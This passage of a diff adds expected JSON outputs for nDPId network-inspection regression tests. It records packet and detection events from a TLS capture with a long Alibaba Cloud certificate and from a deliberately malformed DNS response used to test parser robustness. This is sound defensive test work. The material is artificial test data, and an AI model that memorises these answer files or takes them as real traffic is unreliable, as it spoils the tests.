W5jcy5jb22CGSouY24taGFpZGlhbi5hbGl5dW5jcy5jb22CIiouY24taGFuZ3pob3UtZmluYW5jZS5hbGl5dW5jcy5jb22CGiouY24taGFuZ3pob3UuYWxpeXVuY3MuY29tghoqLmNuLWhvbmdrb25nLmFsaXl1bmNzLmNvbYIbKi5jbi1odWhlaGFvdGUuYWxpeXVuY3MuY29tghkqLmNuLW5pbmd4aWEuYWxpeXVuY3MuY29tgh8qLmNuLW5vcnRoLTItZ292LTEuYWxpeXVuY3MuY29tgiAqLmNuLXFpbmdkYW8tbmVidWxhLmFsaXl1bmNzLmNvbYIZKi5jbi1xaW5nZGFvLmFsaXl1bmNzLmNvbYIkKi5jbi1zaGFuZ2hhaS1maW5hbmNlLTEuYWxpeXVuY3MuY29tghgqLmNuLXNoYW5naGFpLmFsaXl1bi5jb22CGiouY24tc2hhbmdoYWkuYWxpeXVuY3MuY29tgiUqLmNuLXNoZW56aGVuLWNsb3Vkc3RvbmUuYWxpeXVuY3MuY29tgiQqLmNuLXNoZW56aGVuLWZpbmFuY2UtMS5hbGl5dW5jcy5jb22CGiouY24tc2hlbnpoZW4uYWxpeXVuY3MuY29tghkqLmNuLXNpY2h1YW4uYWxpeXVuY3MuY29tgh0qLmNuLXpoYW5namlha291LmFsaXl1bmNzLmNvbYIUKi5jb25uZWN0LmFsaXl1bi5jb22CGiouY29uc29sZS5hbGliYWJhY2xvdWQuY29tghYqLmNvbnNvbGUuYWxpY2xvdWQuY29tghQqLmNvbnNvbGUuYWxpeXVuLmNvbYIPKi5jcy5hbGl5dW4uY29tghcqLmNzY2hhdC1jY3MuYWxpeXVuLmNvbYIRKi5kYXRhLmFsaXl1bi5jb22CFCouZGF0YWFwaS5hbGl5dW4uY29tghQqLmRhdGFxLmFsaXl1bmNzLmNvbYISKi5kYXRhdi5hbGl5dW4uY29tghQqLmRhdGF2LmFsaXl1bmNzLmNvbYIUKi5kZXZsb3BzLmFsaXl1bi5jb22CEyouZGV2b3BzLmFsaXl1bi5jb22CESouZGl0dS5hbGl5dW4uY29tghMqLmRvbWFpbi5hbGl5dW4uY29tghIqLmR5aW90LmFsaXl1bi5jb22CECouZWJzLmFsaXl1bi5jb22CESouZW1hcy5hbGl5dW4uY29tghAqLmVtci5hbGl5dW4uY29tghcqLmVudGVycHJpc2UuYWxpeXVuLmNvbYIQKi5lbnYuYWxpeXVu"} +02360{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"long_tls_certificate.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1609756182,"pkt_ts_usec":35574,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUsopAACkGCStqD2R7wKgBPAG72CWlbDjKCF3jH1AQHIQzGQAALmNvbYIYKi5ldC1pbmR1c3RyeS5hbGl5dW4uY29tghsqLmV1LWNlbnRyYWwtMS5hbGl5dW5jcy5jb22CGCouZXUtd2VzdC0xLmFsaXl1bmNzLmNvbYIPKi5mYy5hbGl5dW4uY29tgh0qLmZlZWRiYWNrLmNvbnNvbGUuYWxpeXVuLmNvbYISKi5ndHMteC5hbGl5dW4uY29tghAqLmd0cy5hbGl5dW4uY29tghUqLmhlbHAtY2NzLmFsaXl1bi5jb22CDSouaWFsaWNkbi5jb22CGCouaW4tbXVtYmFpLmFsaXl1bmNzLmNvbYIQKi5pb3QuYWxpeXVuLmNvbYIXKi5qcC1mdWRhby5hbGl5dW5jcy5jb22CFyoubGlua2VkbWFsbC5hbGl5dW4uY29tghQqLmxpbmt3YW4uYWxpeXVuLmNvbYITKi5saXZpbmcuYWxpeXVuLmNvbYISKi5sdWJhbi5hbGl5dW4uY29tgg4qLm0uYWxpeXVuLmNvbYITKi5tYXJrZXQuYWxpeXVuLmNvbYIXKi5tYXhjb21wdXRlLmFsaXl1bi5jb22CGCoubWUtZWFzdC0xLmFsaXl1bmNzLmNvbYISKi5tZWRpYS5hbGl5dW4uY29tghoqLm1pY3JvZGluZ3RhbGsuYWxpeXVuLmNvbYIQKi5taXQuYWxpeXVuLmNvbYITKi5tb2JpbGUuYWxpeXVuLmNvbYIRKi5tc2VhLmFsaXl1bi5jb22CECoubXRzLmFsaXl1bi5jb22CECoubXZwLmFsaXl1bi5jb22CEyoubmVidWxhLmFsaXl1bi5jb22CEioubmxzLmFsaXl1bmNzLmNvbYIRKi5vZHBzLmFsaXl1bi5jb22CECoub25zLmFsaXl1bi5jb22CECoub3NlLmFsaXl1bi5jb22CFSoucGFpLmRhdGEuYWxpeXVuLmNvbYIeKi5wY3MtZ3ctY24tYmVpamluZy5hbGl5dW4uY29tgh8qLnBjcy1ndy1jbi1zaGFuZ2hhaS5hbGl5dW4uY29tgg0qLnBocHdpbmQuY29tgg0qLnBocHdpbmQubmV0ghwqLnByZS1zZy1wdXJjaGFzZS5hbGl5dW4uY29tghMqLnByZXB1Yi5hbGl5dW4uY29tghsqLnByb2R1Y3QuY2VudGVyLmFsaXl1bi5jb22CECoucHRzLmFsaXl1bi5jb22CIiouci1hcHAtY24tYmVpamluZy1kYXRhLmFsaXl1bi5jb22CIyouci1hcHAtY24taGFuZ3pob3UtZGF0YS5hbGl5dW4uY29tgiMqLnItYXBwLWNuLXNoZW56aGVuLWRhdGEuYWxpeXVuLmNvbYIXKi5yLWFwcC1kYXRhLmFsaXl1bi5jb22CECoucmRjLmFsaXl1bi5jb22CECoucmRzLmFsaXl1bi5jb22CESoucmVpZC5hbGl5dW4uY29tghYqLnNjLWNtZGIuYWxpeXVuY3MuY29tghEqLnNjc3AuYWxpeXVuLmNvbYIRKi5zZy5hbGl5dW5jcy5jb22CEiouc2h1anUuYWxpeXVuLmNvbYISKi5zbWFydC5hbGl5dW4uY29tghAqLnNvYy5hbGl5dW4uY29tghIqLnNvYy5hbGl5dW5jcy5jb22CDyouc3BhcmVub2RlLmNvbYILKi5zdXBldC5jb22CCioudGJ1cmwuaW6CECoudGVhbWJpdGlvbi5jb22CECoudGVhbWJpdGlvbi5uZXSCFCoudGVhbWJpdGlvbmFwaXMuY29tghQqLnRpYW5jaGkuYWxpeXVuLmNvbYIUKi50b29sa2l0LmFsaXl1bi5jb22CDyoudHYuYWxpeXVuLmNvbYIaKi50dy1nYW94aW9uZy5hbGl5dW5jcy5jb22CGCoudXMtZWFzdC0xLmFsaXl1bmNzLmNv"} +00420{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"long_tls_certificate.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1609756182,"pkt_ts_usec":35606,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGqmHAqAE8ag9ke9glAbsIXeMfpWw4ylAQ\/\/970QAA"} +02370{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"long_tls_certificate.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1609756182,"pkt_ts_usec":35697,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUsotAACkGCSpqD2R7wKgBPAG72CWlbD52CF3jH1AQHISgZgAAbYIYKi51cy13ZXN0LTEuYWxpeXVuY3MuY29tghMqLndlYmlkZS5hbGl5dW4uY29tghIqLnl1bnR1LmFsaXl1bi5jb22CEmFjY291bnQud3d3Lm5ldC5jboISYWxpYmFiYWNsb3VkLmNvLmlughBhbGliYWJhY2xvdWQuY29tghNhbGliYWJhY2xvdWQuY29tLmF1ghNhbGliYWJhY2xvdWQuY29tLmhrghNhbGliYWJhY2xvdWQuY29tLm15ghNhbGliYWJhY2xvdWQuY29tLnNnghNhbGliYWJhY2xvdWQuY29tLnR3ggphbGljZG4uY29tggxhbGljbG91ZC5jb22CCmFsaW1laS5jb22CFGFsaXl1bi1pb3Qtc2hhcmUuY29tggxhbGl5dW5jcy5jb22CDWRjLnd3dy5uZXQuY26CDmRtcC53d3cubmV0LmNugg5kbnMud3d3Lm5ldC5jboIQcGFuZGEud3d3Lm5ldC5jboITcGFuZGF2aXAud3d3Lm5ldC5jboILcGhwd2luZC5jb22CC3BocHdpbmQubmV0ggxzY2RucGhpNi5jb22CDXNwYXJlbm9kZS5jb22CCXN1cGV0LmNvbYIIdGJ1cmwuaW6CDnRlYW1iaXRpb24uY29tgg50ZWFtYml0aW9uLm5ldIISdGVhbWJpdGlvbmFwaXMuY29tghJ0aWFuY2hpLWdsb2JhbC5jb22CEHdob2lzLnd3dy5uZXQuY26CCmFsaXl1bi5jb20wHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMB8GA1UdIwQYMBaAFJbeYfG9HBYpUxzAzH07gwBA5hp8MB0GA1UdDgQWBBS1rMccry6USHZgDo7Wjgdj5z3EHzCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB1AG9Tdqwx8DEZ2JkApFEV\/3cVHBHZAsEAKQaNsgiaN9kTAAABdf7jnGIAAAQDAEYwRAIgb6RcZA8xurHDVBi7zHLW5fKk76P8WvRINl7DZMhJNA0CIC6ZLUg8oBD52LdtCamtIOPfVrJh85neJA9P\/iS5nDLvAHcA9lyUL9F3MCIUVBgIMJRWjuNNExkzv98MLyALzE7xZOMAAAF1\/uOfNwAABAMASDBGAiEAkvtjq2hkFY7U9xUn1jC5F5+3yd7QS9qssGn+05rbopkCIQDA7JaNItVj9eImcEl5yUAAEz+onEzzy+WlkDCVmyNMyzANBgkqhkiG9w0BAQsFAAOCAQEAkEFhPNKObcW9LPG0yDs227Vyth35HCLU63SLgeernqxxa1xcRfq8Q3wuR0uG0KVHMCEIOplP+9gs+egMTIKU+5GiKwYRphnJcWZbVAaAe2CnwerfXL+i39lZGil5aDrNQqNOQHvr0GtdbOAseYPgn8fUifvdlA8Up8umCjq\/g\/cb4cAhrrrTGjUmRuZnEO\/EuZlZoNZCrHxSuqUwqwzZb4KUmt3ufIM9qAtcOxD9x3+xjHtyJ+zJpXe6WFCIJwZs1ogu9opZIP1K9AFA\/C7BaXx8A48iuzemFveUdHe0kJG3dQZBdiUGjywqTARxqV3MlgWOMcCjfPSw\/0MJ8xJCOgAEbTCCBGkwggNRoAMCAQICCwQAAAAAAURO8EJHMA0GCSqGSIb3DQEBCwUAMFcxCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9iYWxTaWduIG52LXNhMRAwDgYDVQQLEwdSb290IENBMRswGQYDVQQDExJHbG9iYWxTaWduIFJvb3QgQ0EwHhcNMTQwMjIwMTAwMDAwWhcNMjQwMjIwMTAwMDAwWjBmMQswCQYDVQQGEwJCRTEZMBcGA1UEChMQR2xvYmFsU2lnbiBudi1zYTE8MDoGA1UEAxMzR2xvYmFsU2lnbiBPcmdhbml6YXRpb24gVmFsaWRh"} +00422{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"long_tls_certificate.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1609756182,"pkt_ts_usec":35731,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGqmHAqAE8ag9ke9glAbsIXeMfpWxEIlAQ\/\/9weQAA"} +01837{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"long_tls_certificate.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1609756182,"pkt_ts_usec":35821,"pkt_caplen":1104,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1104,"pkt_l4_len":1070,"pkt":"KDc3AG3IEBMx8Tl2CABFAARCsoxAACkGCrtqD2R7wKgBPAG72CWlbEQiCF3jH1AYHIQyjQAAdGlvbiBDQSAtIFNIQTI1NiAtIEcyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxw5sPyOTf8xwpZ0gww5TP37ATsKYScpH1SPvAzSFdMijAi5GXAt9yYidT4vw+JxsjFU127\/ys+r741bnSkbZEyLKNtWbwajjlkOT8gy85vnm6JnIY0h4f1c2aRoZHVrR1H3CnNR\/4YASrnrqiOpX2MoKCjoSSaJiGXoNJPc367RzknsFI5sStc7rKd+kFAK5AaXUppxDZIje+H7+4\/Ue5f7co6jkZjHZTCXpGLmJWQmu6Z0cbTcPSh41ICjir9QhiwHERa1uK2OrkmthCk0g7XO6fM7+FrXbn4Dw1ots2Qh5Sk94ZdqSvL41+bPE+SeATv+WUuYCIOEHc+ldK72y8QIDAQABo4IBJTCCASEwDgYDVR0PAQH\/BAQDAgEGMBIGA1UdEwEB\/wQIMAYBAf8CAQAwHQYDVR0OBBYEFJbeYfG9HBYpUxzAzH07gwBA5hp8MEcGA1UdIARAMD4wPAYEVR0gADA0MDIGCCsGAQUFBwIBFiZodHRwczovL3d3dy5nbG9iYWxzaWduLmNvbS9yZXBvc2l0b3J5LzAzBgNVHR8ELDAqMCigJqAkhiJodHRwOi8vY3JsLmdsb2JhbHNpZ24ubmV0L3Jvb3QuY3JsMD0GCCsGAQUFBwEBBDEwLzAtBggrBgEFBQcwAYYhaHR0cDovL29jc3AuZ2xvYmFsc2lnbi5jb20vcm9vdHIxMB8GA1UdIwQYMBaAFGB7ZhpFDZfKiVAvfQTNNKj\/\/P1LMA0GCSqGSIb3DQEBCwUAA4IBAQBGKu5eva4BYDcxEYZxdLZGScgQFv4vYiMXqx+H+ILtyt8OLN9kdY7lGHKnjDqLyayld1D3756k4KCPFFejKl\/sfm0Q5rqNsAiHdg5MstlRuxEC8lzdHL3zVZYP1AbA\/OIjiiRw07vweRqnYXCDiq8GxSDYoWPQbK5PMteufBhFdQUpd99CQGRkhr4qdgkxbx0k9JnQhf7yIQj5xvbx0Fnt1lY8CCgDZ7rw+fGQFkeuZ+a8gEjpQnY0l1VpJA6D1qAttPXzeYpJKHQaQaHC0ySINTBglBe04QQiMT07LxcGsridhitaae+D9UvEqrQq+HyhsYWUjPQMhwz0rED4WUmYFgMDAJQMAACQAwAXQQQHBay7E+l5uDF6vN0dNLfHZ3XFe8J1r8409dB6E5YGVhU9B+hLA4Y34U3QyAAeGWQ1RguC3GcZ8MZf0+Ru71\/JBAMARzBFAiAgyGq4ahdxqLGVDNRsFNBgOBB+olXEjHLxrojVx2ay6wIhAOyZtyRBCq\/VlL8q4e2g98hxlplagBQF4DnrtMUJaXs6FgMDAAQOAAAA"} +04929{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":12,"source":"long_tls_certificate.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":12,"flow_first_seen":1609756181300,"flow_last_seen":1609756182035,"flow_tot_l4_data_len":7663,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":638,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.60","dst_ip":"106.15.100.123","src_port":55333,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"beacon-api.aliyuncs.com","server_names":"*.aliyun.com,manager.channel.aliyun.com,*.ace.aliyun.com,*.acs-internal.aliyuncs.com,*.acs.aliyun.com,*.aicrowd.aliyun.com,*.alibabacloud.co.in,*.alibabacloud.com,*.alibabacloud.com.au,*.alibabacloud.com.hk,*.alibabacloud.com.my,*.alibabacloud.com.sg,*.alibabacloud.com.tw,*.alicdn.com,*.alicloud.com,*.aligroup.aliyun.com,*.alimei.com,*.alink.aliyun.com,*.alios.aliyuncs.com,*.aliplus.com,*.alitranx.aliyun.com,*.aliyun-iot-share.com,*.aliyuncs.com,*.alyms.cn,*.ap-northeast-1.aliyuncs.com,*.ap-south-1.aliyuncs.com,*.ap-southeast-1.aliyuncs.com,*.ap-southeast-2.aliyuncs.com,*.ap-southeast-3.aliyuncs.com,*.ap-southeast-5.aliyuncs.com,*.api.aliyun.com,*.apm.aliyun.com,*.app.aliyun.com,*.asmlink.cn,*.banma.aliyuncs.com,*.base.shuju.aliyun.com,*.bi.aliyun.com,*.biz.aliyun.com,*.bridge.aliyun.com,*.ccc.aliyuncs.com,*.center.aliyun.com,*.citybrain.aliyun.com,*.cloudapp.aliyun.com,*.cloudeagle.cn,*.cloudgame.aliyun.com,*.cn-beijing.aliyuncs.com,*.cn-chengdu.aliyuncs.com,*.cn-guizhou.aliyuncs.com,*.cn-haidian.aliyuncs.com,*.cn-hangzhou-finance.aliyuncs.com,*.cn-hangzhou.aliyuncs.com,*.cn-hongkong.aliyuncs.com,*.cn-huhehaote.aliyuncs.com,*.cn-ningxia.aliyuncs.com,*.cn-north-2-gov-1.aliyuncs.com,*.cn-qingdao-nebula.aliyuncs.com,*.cn-qingdao.aliyuncs.com,*.cn-shanghai-finance-1.aliyuncs.com,*.cn-shanghai.aliyun.com,*.cn-shanghai.aliyuncs.com,*.cn-shenzhen-cloudstone.aliyuncs.com,*.cn-shenzhen-finance-1.aliyuncs.com,*.cn-shenzhen.aliyuncs.com,*.cn-sichuan.aliyuncs.com,*.cn-zhangjiakou.aliyuncs.com,*.connect.aliyun.com,*.console.alibabacloud.com,*.console.alicloud.com,*.console.aliyun.com,*.cs.aliyun.com,*.cschat-ccs.aliyun.com,*.data.aliyun.com,*.dataapi.aliyun.com,*.dataq.aliyuncs.com,*.datav.aliyun.com,*.datav.aliyuncs.com,*.devlops.aliyun.com,*.devops.aliyun.com,*.ditu.aliyun.com,*.domain.aliyun.com,*.dyiot.aliyun.com,*.ebs.aliyun.com,*.emas.aliyun.com,*.emr.aliyun.com,*.enterprise.aliyun.com,*.env.aliyun.com,*.et-industry.aliyun.com,*.eu-central-1.aliyuncs.com,*.eu-west-1.aliyuncs.com,*.fc.aliyun.com,*.feedback.console.aliyun.com,*.gts-x.aliyun.com,*.gts.aliyun.com,*.help-ccs.aliyun.com,*.ialicdn.com,*.in-mumbai.aliyuncs.com,*.iot.aliyun.com,*.jp-fudao.aliyuncs.com,*.linkedmall.aliyun.com,*.linkwan.aliyun.com,*.living.aliyun.com,*.luban.aliyun.com,*.m.aliyun.com,*.market.aliyun.com,*.maxcompute.aliyun.com,*.me-east-1.aliyuncs.com,*.media.aliyun.com,*.microdingtalk.aliyun.com,*.mit.aliyun.com,*.mobile.aliyun.com,*.msea.aliyun.com,*.mts.aliyun.com,*.mvp.aliyun.com,*.nebula.aliyun.com,*.nls.aliyuncs.com,*.odps.aliyun.com,*.ons.aliyun.com,*.ose.aliyun.com,*.pai.data.aliyun.com,*.pcs-gw-cn-beijing.aliyun.com,*.pcs-gw-cn-shanghai.aliyun.com,*.phpwind.com,*.phpwind.net,*.pre-sg-purchase.aliyun.com,*.prepub.aliyun.com,*.product.center.aliyun.com,*.pts.aliyun.com,*.r-app-cn-beijing-data.aliyun.com,*.r-app-cn-hangzhou-data.aliyun.com,*.r-app-cn-shenzhen-data.aliyun.com,*.r-app-data.aliyun.com,*.rdc.aliyun.com,*.rds.aliyun.com,*.reid.aliyun.com,*.sc-cmdb.aliyuncs.com,*.scsp.aliyun.com,*.sg.aliyuncs.com,*.shuju.aliyun.com,*.smart.aliyun.com,*.soc.aliyun.com,*.soc.aliyuncs.com,*.sparenode.com,*.supet.com,*.tburl.in,*.teambition.com,*.teambition.net,*.teambitionapis.com,*.tianchi.aliyun.com,*.toolkit.aliyun.com,*.tv.aliyun.com,*.tw-gaoxiong.aliyuncs.com,*.us-east-1.aliyuncs.com,*.us-west-1.aliyuncs.com,*.webide.aliyun.com,*.yuntu.aliyun.com,account.www.net.cn,alibabacloud.co.in,alibabacloud.com,alibabacloud.com.au,alibabacloud.com.hk,alibabacloud.com.my,alibabacloud.com.sg,alibabacloud.com.tw,alicdn.com,alicloud.com,alimei.com,aliyun-iot-share.com,aliyuncs.com,dc.www.net.cn,dmp.www.net.cn,dns.www.net.cn,panda.www.net.cn,pandavip.www.net.cn,phpwind.com,phpwind.net,scdnphi6.com,sparenode.com,supet.com,tburl.in,teambition.com,teambition.net,teambitionapis.com,tianchi-global.com,whois.www.net.cn,aliyun.com","ja3":"2a26b1a62e40d25d4de3babc9d532f30","ja3s":"eee3d2bf5f17d17548ac36ba1872951f","unsafe_cipher":0,"cipher":"TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=BE, O=GlobalSign nv-sa, CN=GlobalSign Organization Validation CA - SHA256 - G2","issuerDN":"C=CN, ST=ZheJiang, L=HangZhou, O=Alibaba (China) Technology Co., Ltd., CN=*.aliyun.com","alpn":"h2,http\/1.1","fingerprint":"2B:C6:82:22:E9:94:09:24:34:E1:5C:F1:24:76:98:75:45:78:53:DA"}} +00422{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"long_tls_certificate.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1609756182,"pkt_ts_usec":35862,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGqmHAqAE8ag9ke9glAbsIXeMfpWxIPFAQ\/\/9sXwAA"} +01837{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"long_tls_certificate.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1609756182,"pkt_ts_usec":43894,"pkt_caplen":1104,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1104,"pkt_l4_len":1070,"pkt":"KDc3AG3IEBMx8Tl2CABFAARCso1AACkGCrpqD2R7wKgBPAG72CWlbEQiCF3jH1AYHIQyjQAAdGlvbiBDQSAtIFNIQTI1NiAtIEcyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxw5sPyOTf8xwpZ0gww5TP37ATsKYScpH1SPvAzSFdMijAi5GXAt9yYidT4vw+JxsjFU127\/ys+r741bnSkbZEyLKNtWbwajjlkOT8gy85vnm6JnIY0h4f1c2aRoZHVrR1H3CnNR\/4YASrnrqiOpX2MoKCjoSSaJiGXoNJPc367RzknsFI5sStc7rKd+kFAK5AaXUppxDZIje+H7+4\/Ue5f7co6jkZjHZTCXpGLmJWQmu6Z0cbTcPSh41ICjir9QhiwHERa1uK2OrkmthCk0g7XO6fM7+FrXbn4Dw1ots2Qh5Sk94ZdqSvL41+bPE+SeATv+WUuYCIOEHc+ldK72y8QIDAQABo4IBJTCCASEwDgYDVR0PAQH\/BAQDAgEGMBIGA1UdEwEB\/wQIMAYBAf8CAQAwHQYDVR0OBBYEFJbeYfG9HBYpUxzAzH07gwBA5hp8MEcGA1UdIARAMD4wPAYEVR0gADA0MDIGCCsGAQUFBwIBFiZodHRwczovL3d3dy5nbG9iYWxzaWduLmNvbS9yZXBvc2l0b3J5LzAzBgNVHR8ELDAqMCigJqAkhiJodHRwOi8vY3JsLmdsb2JhbHNpZ24ubmV0L3Jvb3QuY3JsMD0GCCsGAQUFBwEBBDEwLzAtBggrBgEFBQcwAYYhaHR0cDovL29jc3AuZ2xvYmFsc2lnbi5jb20vcm9vdHIxMB8GA1UdIwQYMBaAFGB7ZhpFDZfKiVAvfQTNNKj\/\/P1LMA0GCSqGSIb3DQEBCwUAA4IBAQBGKu5eva4BYDcxEYZxdLZGScgQFv4vYiMXqx+H+ILtyt8OLN9kdY7lGHKnjDqLyayld1D3756k4KCPFFejKl\/sfm0Q5rqNsAiHdg5MstlRuxEC8lzdHL3zVZYP1AbA\/OIjiiRw07vweRqnYXCDiq8GxSDYoWPQbK5PMteufBhFdQUpd99CQGRkhr4qdgkxbx0k9JnQhf7yIQj5xvbx0Fnt1lY8CCgDZ7rw+fGQFkeuZ+a8gEjpQnY0l1VpJA6D1qAttPXzeYpJKHQaQaHC0ySINTBglBe04QQiMT07LxcGsridhitaae+D9UvEqrQq+HyhsYWUjPQMhwz0rED4WUmYFgMDAJQMAACQAwAXQQQHBay7E+l5uDF6vN0dNLfHZ3XFe8J1r8409dB6E5YGVhU9B+hLA4Y34U3QyAAeGWQ1RguC3GcZ8MZf0+Ru71\/JBAMARzBFAiAgyGq4ahdxqLGVDNRsFNBgOBB+olXEjHLxrojVx2ay6wIhAOyZtyRBCq\/VlL8q4e2g98hxlplagBQF4DnrtMUJaXs6FgMDAAQOAAAA"} +00438{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"long_tls_certificate.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1609756182,"pkt_ts_usec":43951,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGqlXAqAE8ag9ke9glAbsIXeMfpWxIPIAQ\/\/9fEAAAAQEFCqVsRCKlbEg8"} diff --git a/test/results/malformed_dns.pcap.out b/test/results/malformed_dns.pcap.out new file mode 100644 index 000000000..6505edccc --- /dev/null +++ b/test/results/malformed_dns.pcap.out @@ -0,0 +1,11 @@ +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"malformed_dns.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1591551760342,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50435,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"malformed_dns.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1591551760,"pkt_ts_usec":342902,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"AAAAAAAAAAAAAAAACABFAAA4nToAAEAR33h\/AAABfwAAAcUDADUAJP43hLQBAAABAAAAAAAAA3d3dwJ4dANjb20AAAEAAQ=="} +00627{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"malformed_dns.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1591551760342,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50435,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"www.xt.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +02609{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"malformed_dns.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1591551760,"pkt_ts_usec":357435,"pkt_caplen":1430,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1430,"pkt_l4_len":1396,"pkt":"\/\/\/\/\/\/\/\/AAAAAAAACABFAAWIAAEAAEARd2J\/AAABfwAAAQA1xQMFdLSchLSBAAACAAIAAAAAA3d3dwJ4dANjb20AAAEAASJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBPwAAAAA\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz